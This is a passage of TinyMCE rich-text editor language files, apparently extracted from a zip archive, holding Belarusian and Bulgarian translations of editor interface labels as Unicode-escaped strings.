"\u041f\u0440\u0430\u0434\u043f\u0440\u0430\u0433\u043b\u044f\u0434",
"Print": "\u0414\u0440\u0443\u043a",
"Save":
"\u0417\u0430\u0445\u0430\u0432\u0430\u0446\u044c",
"Could not find the specified string.":
"\u0417\u0430\u0434\u0430\u0434\u0437\u0435\u043d\u044b
\u0440\u0430\u0434\u043e\u043a \u043d\u0435
\u0437\u043d\u043e\u0439\u0434\u0437\u0435\u043d\u044b",
"Replace":
"\u0417\u043c\u044f\u043d\u0456\u0446\u044c",
"Next": "\u0423\u043d\u0456\u0437",
"Whole words": "\u0421\u043b\u043e\u0432\u044b
\u0446\u0430\u043b\u043a\u0430\u043c",
"Find and replace": "\u041f\u043e\u0448\u0443\u043a \u0456
\u0437\u0430\u043c\u0435\u043d\u0430",
"Replace with": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c
\u043d\u0430",
"Find": "\u0417\u043d\u0430\u0439\u0441\u0446\u0456",
"Replace all": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c
\u0443\u0441\u0435",
"Match case":
"\u0423\u043b\u0456\u0447\u0432\u0430\u0446\u044c
\u0440\u044d\u0433\u0456\u0441\u0442\u0440",
"Prev": "\u0423\u0432\u0435\u0440\u0445",
"Spellcheck":
"\u041f\u0440\u0430\u0432\u0435\u0440\u043a\u0430
\u043f\u0440\u0430\u0432\u0430\u043f\u0456\u0441\u0443",
"Finish":
"\u0421\u043a\u043e\u043d\u0447\u044b\u0446\u044c",
"Ignore all":
"\u0406\u0433\u043d\u0430\u0440\u0430\u0432\u0430\u0446\u044c
\u0443\u0441\u0435",
"Ignore":
"\u0406\u0433\u043d\u0430\u0440\u0430\u0432\u0430\u0446\u044c",
"Add to Dictionary": "\u0414\u0430\u0434\u0430\u0446\u044c
\u0443 \u0441\u043b\u043e\u045e\u043d\u0456\u043a",
"Insert row before":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0440\u0430\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Rows": "\u0420\u0430\u0434\u043a\u0456",
"Height": "\u0412\u044b\u0448\u044b\u043d\u044f",
"Paste row after":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0440\u0430\u0434\u043e\u043a \u0437\u043d\u0456\u0437\u0443",
"Alignment":
"\u0412\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"Border color": "\u041a\u043e\u043b\u0435\u0440
\u043c\u044f\u0436\u044b",
"Column group": "\u0413\u0440\u0443\u043f\u0430
\u0441\u043b\u0443\u043f\u043a\u043e\u045e",
"Row": "\u0420\u0430\u0434\u043e\u043a",
"Insert column before":
"\u0414\u0430\u0434\u0430\u0446\u044c
\u0441\u043b\u0443\u043f\u043e\u043a \u0437\u043b\u0435\u0432\u0430",
"Split cell": "\u0420\u0430\u0437\u0431\u0456\u0446\u044c
\u044f\u0447\u044d\u0439\u043a\u0443",
"Cell padding":
"\u0423\u043d\u0443\u0442\u0440\u0430\u043d\u044b
\u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Cell spacing": "\u0417\u043d\u0435\u0448\u043d\u0456
\u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Row type": "\u0422\u044b\u043f
\u0440\u0430\u0434\u043a\u0430",
"Insert table":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0442\u0430\u0431\u043b\u0456\u0446\u0443",
"Body": "\u0426\u0435\u043b\u0430",
"Caption":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Footer": "\u041d\u0456\u0437",
"Delete row":
"\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c
\u0440\u0430\u0434\u043e\u043a",
"Paste row before":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0440\u0430\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Scope": "\u0421\u0444\u0435\u0440\u0430",
"Delete table":
"\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c
\u0442\u0430\u0431\u043b\u0456\u0446\u0443",
"H Align": "\u0413\u0430\u0440.
\u0432\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"Top": "\u0412\u0435\u0440\u0445",
"Header cell":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Column": "\u0421\u043b\u0443\u043f\u043e\u043a",
"Row group": "\u0413\u0440\u0443\u043f\u0430
\u0440\u0430\u0434\u043a\u043e\u045e",
"Cell": "\u042f\u0447\u044d\u0439\u043a\u0430",
"Middle":
"\u0421\u044f\u0440\u044d\u0434\u0437\u0456\u043d\u0430",
"Cell type": "\u0422\u044b\u043f
\u044f\u0447\u044d\u0439\u043a\u0456",
"Copy row":
"\u041a\u0430\u043f\u0456\u044f\u0432\u0430\u0446\u044c
\u0440\u0430\u0434\u043e\u043a",
"Row properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b
\u0440\u0430\u0434\u043a\u0430",
"Table properties":
"\u0423\u043b\u0430\u0441\u0446\u0456\u0432\u0430\u0441\u0446\u0456
\u0442\u0430\u0431\u043b\u0456\u0446\u044b",
"Bottom": "\u041d\u0456\u0437",
"V Align": "\u0412\u0435\u0440.
\u0432\u044b\u0440\u0430\u045e\u043d\u043e\u045e\u0432\u0430\u043d\u043d\u0435",
"Header": "\u0428\u0430\u043f\u043a\u0430",
"Right": "\u041f\u0430 \u043f\u0440\u0430\u0432\u044b\u043c
\u043a\u0440\u0430\u0456",
"Insert column after": "\u0414\u0430\u0434\u0430\u0446\u044c
\u0441\u043b\u0443\u043f\u043e\u043a
\u0441\u043f\u0440\u0430\u0432\u0430",
"Cols": "\u0421\u043b\u0443\u043f\u043a\u0456",
"Insert row after":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0440\u0430\u0434\u043e\u043a \u0437\u043d\u0456\u0437\u0443",
"Width": "\u0428\u044b\u0440\u044b\u043d\u044f",
"Cell properties":
"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b
\u044f\u0447\u044d\u0439\u043a\u0456",
"Left": "\u041f\u0430 \u043b\u0435\u0432\u044b\u043c
\u043a\u0440\u0430\u0456",
"Cut row": "\u0412\u044b\u0440\u0430\u0437\u0430\u0446\u044c
\u0440\u0430\u0434\u043e\u043a",
"Delete column":
"\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c
\u0441\u043b\u0443\u043f\u043e\u043a",
"Center": "\u041f\u0430
\u0446\u044d\u043d\u0442\u0440\u044b",
"Merge cells":
"\u0410\u0431'\u044f\u0434\u043d\u0430\u0446\u044c
\u044f\u0447\u044d\u0439\u043a\u0456",
"Insert template":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0448\u0430\u0431\u043b\u043e\u043d",
"Templates":
"\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"Background color": "\u041a\u043e\u043b\u0435\u0440
\u0444\u043e\u043d\u0443",
"Custom...":
"\u041a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u043a\u0456...",
"Custom color":
"\u041a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u043a\u0456
\u043a\u043e\u043b\u0435\u0440",
"No color": "\u0411\u0435\u0437
\u043a\u043e\u043b\u0435\u0440\u0443",
"Text color": "\u041a\u043e\u043b\u0435\u0440
\u0442\u044d\u043a\u0441\u0442\u0443",
"Show blocks":
"\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c
\u0431\u043b\u043e\u043a\u0456",
"Show invisible characters":
"\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c
\u043d\u044f\u0431\u0430\u0447\u043d\u044b\u044f
\u0441\u0456\u043c\u0432\u0430\u043b\u044b",
"Words: {0}":
"\u041a\u043e\u043b\u044c\u043a\u0430\u0441\u0446\u044c
\u0441\u043b\u043e\u045e: {0}",
"Insert":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0422\u044d\u043a\u0441\u0442\u0430\u0432\u0430\u0435
\u043f\u043e\u043b\u0435.
\u041d\u0430\u0446\u0456\u0441\u043d\u0456\u0446\u0435 ALT-F9,
\u043a\u0430\u0431 \u0432\u044b\u043a\u043b\u0456\u043a\u0430\u0446\u044c
\u043c\u0435\u043d\u044e, ALT-F10 - \u043f\u0430\u043d\u044d\u043b\u044c
\u043f\u0440\u044b\u043b\u0430\u0434\u0430\u045e, ALT-0 -
\u0434\u043b\u044f \u0432\u044b\u043a\u043b\u0456\u043a\u0443
\u0434\u0430\u043f\u0430\u043c\u043e\u0433\u0456.",
"Tools": "\u041f\u0440\u044b\u043b\u0430\u0434\u044b",
"View": "\u0412\u044b\u0433\u043b\u044f\u0434",
"Table": "\u0422\u0430\u0431\u043b\u0456\u0446\u0430",
"Format": "\u0424\u0430\u0440\u043c\u0430\u0442"
});PKR��[	�+N+Ntinymce/langs/bg.jsnu�[���tinymce.addI18n('bg',{
"Cut":
"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435",
"Header 2":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0412\u0430\u0448\u0438\u044f\u0442
\u0431\u0440\u0430\u0443\u0437\u044a\u0440 \u043d\u0435
\u043f\u043e\u0434\u0434\u044a\u0440\u0436\u0430
\u0434\u0438\u0440\u0435\u043a\u0442\u0435\u043d
\u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e
\u043a\u043b\u0438\u043f\u0431\u043e\u0440\u0434\u0430.
\u0412\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0432\u0430
\u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435
\u043a\u043b\u0430\u0432\u0438\u0448\u043d\u0438\u0442\u0435
\u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 Ctrl+X
(\u0437\u0430 \u0438\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435),
Ctrl+C (\u0437\u0430 \u043a\u043e\u043f\u0438\u0440\u0430\u043d\u0435)
\u0438 Ctrl+V (\u0437\u0430
\u043f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435).",
"Div": "\u0411\u043b\u043e\u043a",
"Paste":
"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435",
"Close":
"\u0417\u0430\u0442\u0432\u0430\u0440\u044f\u043d\u0435",
"Font Family": "\u0428\u0440\u0438\u0444\u0442",
"Pre":
"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e
\u043e\u0444\u043e\u0440\u043c\u0435\u043d
\u0442\u0435\u043a\u0441\u0442",
"Align right":
"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435
\u043e\u0442\u0434\u044f\u0441\u043d\u043e",
"New document": "\u041d\u043e\u0432
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442",
"Numbered list":
"\u041d\u043e\u043c\u0435\u0440\u0438\u0440\u0430\u043d
\u0441\u043f\u0438\u0441\u044a\u043a",
"Increase indent":
"\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435
\u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430",
"Formats":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435",
"Headers":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u044f",
"Select all":
"\u041c\u0430\u0440\u043a\u0438\u0440\u0430\u043d\u0435 \u043d\u0430
\u0446\u044f\u043b\u043e\u0442\u043e
\u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435",
"Header 3":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",
"Blocks": "\u0411\u043b\u043e\u043a\u043e\u0432\u0435",
"Undo": "\u0412\u044a\u0440\u043d\u0438",
"Strikethrough":
"\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u0432\u0430\u043d\u0435",
"Bullet list": "\u0421\u043f\u0438\u0441\u044a\u043a \u0441
\u0432\u043e\u0434\u0430\u0447\u0438",
"Header 1":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",
"Superscript": "\u0413\u043e\u0440\u0435\u043d
\u0438\u043d\u0434\u0435\u043a\u0441",
"Clear formatting":
"\u0418\u0437\u0447\u0438\u0441\u0442\u0438
\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e",
"Font Sizes": "\u0420\u0430\u0437\u043c\u0435\u0440
\u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430",
"Subscript": "\u0414\u043e\u043b\u0435\u043d
\u0438\u043d\u0434\u0435\u043a\u0441",
"Header 6":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",
"Redo": "\u041e\u0442\u043c\u0435\u043d\u0438",
"Paragraph":
"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u0414\u043e\u0431\u0440\u0435",
"Bold": "\u0423\u0434\u0435\u0431\u0435\u043b\u0435\u043d
(\u043f\u043e\u043b\u0443\u0447\u0435\u0440)",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041d\u0430\u043a\u043b\u043e\u043d\u0435\u043d
(\u043a\u0443\u0440\u0441\u0438\u0432)",
"Align center":
"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e",
"Header 5":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",
"Decrease indent":
"\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435
\u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430",
"Header 4":
"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435\u0442\u043e
\u0432 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0435 \u0432
\u043e\u0431\u0438\u043a\u043d\u043e\u0432\u0435\u043d
\u0440\u0435\u0436\u0438\u043c.
\u0421\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435\u0442\u043e
\u0449\u0435 \u0431\u044a\u0434\u0435
\u043f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e
\u043a\u0430\u0442\u043e
\u043d\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d
\u0442\u0435\u043a\u0441\u0442, \u0434\u043e\u043a\u0430\u0442\u043e
\u0438\u0437\u043a\u043b\u044e\u0447\u0438\u0442\u0435
\u0442\u0430\u0437\u0438 \u043e\u043f\u0446\u0438\u044f.",
"Underline":
"\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d",
"Cancel": "\u041e\u0442\u043a\u0430\u0437",
"Justify":
"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e
\u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"Inline": "\u041d\u0430 \u0435\u0434\u0438\u043d
\u0440\u0435\u0434",
"Copy":
"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435",
"Align left":
"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435
\u043e\u0442\u043b\u044f\u0432\u043e",
"Visual aids":
"\u0412\u0438\u0437\u0443\u0430\u043b\u043d\u043e
\u043e\u0442\u043a\u0440\u043e\u044f\u0432\u0430\u043d\u0435 \u043d\u0430
\u0442\u0430\u0431\u043b\u0438\u0446\u0438 \u0431\u0435\u0437
\u043a\u0430\u043d\u0442\u043e\u0432\u0435
(\u0440\u0430\u043c\u043a\u0438)",
"Lower Greek": "\u041c\u0430\u043b\u043a\u0438
\u0433\u0440\u044a\u0446\u043a\u0438 \u0431\u0443\u043a\u0432\u0438",
"Square":
"\u0417\u0430\u043f\u044a\u043b\u043d\u0435\u043d\u0438
\u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0438",
"Default": "\u041f\u043e
\u043f\u043e\u0434\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043d\u0435",
"Lower Alpha": "\u041c\u0430\u043b\u043a\u0438
\u0431\u0443\u043a\u0432\u0438",
"Circle":
"\u041e\u043a\u0440\u044a\u0436\u043d\u043e\u0441\u0442\u0438",
"Disc":
"\u041a\u0440\u044a\u0433\u0447\u0435\u0442\u0430",
"Upper Alpha": "\u0413\u043b\u0430\u0432\u043d\u0438
\u0431\u0443\u043a\u0432\u0438",
"Upper Roman": "\u0420\u0438\u043c\u0441\u043a\u0438
\u0447\u0438\u0441\u043b\u0430 \u0441 \u0433\u043b\u0430\u0432\u043d\u0438
\u0431\u0443\u043a\u0432\u0438",
"Lower Roman": "\u0420\u0438\u043c\u0441\u043a\u0438
\u0447\u0438\u0441\u043b\u0430 \u0441 \u043c\u0430\u043b\u043a\u0438
\u0431\u0443\u043a\u0432\u0438",
"Name":
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435",
"Anchor": "\u041a\u043e\u0442\u0432\u0430
(\u0432\u0440\u044a\u0437\u043a\u0430 \u0432
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430)",
"You have unsaved changes are you sure you want to navigate
away?": "\u0412
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0438\u043c\u0430
\u043d\u0435\u0437\u0430\u043f\u0430\u0437\u0435\u043d\u0438
\u043f\u0440\u043e\u043c\u0435\u043d\u0438. \u0429\u0435
\u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435
\u043b\u0438?",
"Restore last draft":
"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435
\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0430\u0442\u0430
\u0447\u0435\u0440\u043d\u043e\u0432\u0430",
"Special character":
"\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0435\u043d
\u0437\u043d\u0430\u043a",
"Source code": "\u0418\u0437\u0445\u043e\u0434\u0435\u043d
\u043a\u043e\u0434 \u043d\u0430
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 HTML",
"Right to left": "\u041e\u0442\u0434\u044f\u0441\u043d\u043e
\u043d\u0430\u043b\u044f\u0432\u043e",
"Left to right": "\u041e\u0442\u043b\u044f\u0432\u043e
\u043d\u0430\u0434\u044f\u0441\u043d\u043e",
"Emoticons":
"\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438 \u043d\u0430
\u0443\u0435\u0431 \u0442\u044a\u0440\u0441\u0430\u0447\u043a\u0438",
"Document properties":
"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title":
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435",
"Keywords": "\u041a\u043b\u044e\u0447\u043e\u0432\u0438
\u0434\u0443\u043c\u0438",
"Encoding":
"\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430
\u0437\u043d\u0430\u0446\u0438\u0442\u0435",
"Description":
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen": "\u041d\u0430 \u0446\u044f\u043b
\u0435\u043a\u0440\u0430\u043d",
"Horizontal line":
"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430
\u0447\u0435\u0440\u0442\u0430",
"Horizontal space":
"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e
\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e",
"Insert\/edit image":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f
\u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",
"General": "\u041e\u0431\u0449\u043e",
"Advanced":
"\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e",
"Source": "\u0410\u0434\u0440\u0435\u0441",
"Border": "\u041a\u0430\u043d\u0442
(\u0440\u0430\u043c\u043a\u0430)",
"Constrain proportions":
"\u0417\u0430\u0432\u0430\u0437\u043d\u0430\u0432\u0435 \u043d\u0430
\u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",
"Vertical space":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e
\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e",
"Image description":
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430
\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430",
"Style": "\u0421\u0442\u0438\u043b",
"Dimensions": "\u0420\u0430\u0437\u043c\u0435\u0440",
"Insert image":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Insert date\/time":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0434\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Remove link":
"\u041f\u0440\u0435\u043c\u0430\u0445\u0432\u0430\u043d\u0435
\u043d\u0430
\u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430",
"Url": "\u0410\u0434\u0440\u0435\u0441 (URL)",
"Text to display": "\u0422\u0435\u043a\u0441\u0442",
"Anchors": "\u041a\u043e\u0442\u0432\u0438",
"Insert link":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430
(\u043b\u0438\u043d\u043a)",
"New window": "\u0412 \u043d\u043e\u0432
\u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446
(\u043f\u043e\u0434\u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446)",
"None": "\u0411\u0435\u0437",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u0426\u0435\u043b \u0432
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f
\u043d\u0430
\u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430
(\u043b\u0438\u043d\u043a)",
"Insert\/edit video":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435\/\u043a\u043e\u0440\u0435\u043a\u0446\u0438\u044f
\u043d\u0430 \u0432\u0438\u0434\u0435\u043e",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440",
"Alternative source":
"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d
\u0430\u0434\u0440\u0435\u0441",
"Paste your embed code below:":
"\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u0442\u0435
\u043a\u043e\u0434\u0430 \u0437\u0430
\u0432\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0435 \u0432
\u043f\u043e\u043b\u0435\u0442\u043e
\u043f\u043e-\u0434\u043e\u043b\u0443:",
"Insert video":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0432\u0438\u0434\u0435\u043e",
"Embed":
"\u0412\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0435",
"Nonbreaking space":
"\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Page break": "\u041d\u043e\u0432\u0430
\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430",
"Paste as text": "\u041f\u043e\u0441\u0442\u0430\u0432\u0438
\u043a\u0430\u0442\u043e \u0442\u0435\u043a\u0441\u0442",
"Preview":
"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u0435\u043d
\u0438\u0437\u0433\u043b\u0435\u0434",
"Print": "\u041f\u0435\u0447\u0430\u0442",
"Save":
"\u0421\u044a\u0445\u0440\u0430\u043d\u044f\u0432\u0430\u043d\u0435",
"Could not find the specified string.":
"\u0422\u044a\u0440\u0441\u0435\u043d\u0438\u044f\u0442
\u0442\u0435\u043a\u0441\u0442 \u043d\u0435 \u0435
\u043d\u0430\u043c\u0435\u0440\u0435\u043d.",
"Replace": "\u0417\u0430\u043c\u044f\u043d\u0430",
"Next": "\u0421\u043b\u0435\u0434\u0432\u0430\u0449",
"Whole words": "\u0421\u0430\u043c\u043e
\u0446\u0435\u043b\u0438 \u0434\u0443\u043c\u0438",
"Find and replace":
"\u0422\u044a\u0440\u0441\u0435\u043d\u0435 \u0438
\u0437\u0430\u043c\u044f\u043d\u0430",
"Replace with": "\u0417\u0430\u043c\u044f\u043d\u0430
\u0441",
"Find": "\u0422\u044a\u0440\u0441\u0435\u043d\u0435
\u0437\u0430",
"Replace all": "\u0417\u0430\u043c\u044f\u043d\u0430
\u043d\u0430 \u0432\u0441\u0438\u0447\u043a\u0438
\u0441\u0440\u0435\u0449\u0430\u043d\u0438\u044f",
"Match case":
"\u0421\u044a\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435
\u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u044a\u0440\u0430
(\u043c\u0430\u043b\u043a\u0438\/\u0433\u043b\u0430\u0432\u043d\u0438
\u0431\u0443\u043a\u0432\u0438)",
"Prev":
"\u041f\u0440\u0435\u0434\u0438\u0448\u0435\u043d",
"Spellcheck":
"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430
\u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430",
"Finish": "\u041a\u0440\u0430\u0439",
"Ignore all":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u043d\u0435
\u043d\u0430 \u0432\u0441\u0438\u0447\u043a\u043e",
"Ignore":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u043d\u0435",
"Insert row before":
"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434 \u043f\u0440\u0435\u0434\u0438",
"Rows": "\u0420\u0435\u0434\u043e\u0432\u0435",
"Height":
"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",
"Paste row after":
"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434 \u0441\u043b\u0435\u0434",
"Alignment":
"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",
"Column group": "Column group",
"Row": "\u0420\u0435\u0434",
"Insert column before":
"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435 \u043d\u0430
\u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0438",
"Split cell":
"\u0420\u0430\u0437\u0434\u0435\u043b\u044f\u043d\u0435 \u043d\u0430
\u043a\u043b\u0435\u0442\u043a\u0430",
"Cell padding":
"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435
\u0434\u043e
\u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435\u0442\u043e",
"Cell spacing":
"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435
\u043c\u0435\u0436\u0434\u0443
\u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",
"Row type": "\u0422\u0438\u043f \u043d\u0430
\u0440\u0435\u0434\u0430",
"Insert table":
"\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435 \u043d\u0430
\u0442\u0430\u0431\u043b\u0438\u0446\u0430",
"Body":
"\u0421\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435
(body)",
"Caption": "\u0414\u043e\u0431\u0430\u0432\u044f\u043d\u0435
\u043d\u0430 \u0437\u0430\u0433\u043b\u0430\u0432\u0438\u0435
\u043f\u0440\u0435\u0434\u0438
\u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",
"Footer": "\u0414\u043e\u043b\u0435\u043d
\u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b
(footer)",
"Delete row":
"\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435 \u043d\u0430
\u0440\u0435\u0434\u0430",
"Paste row before":
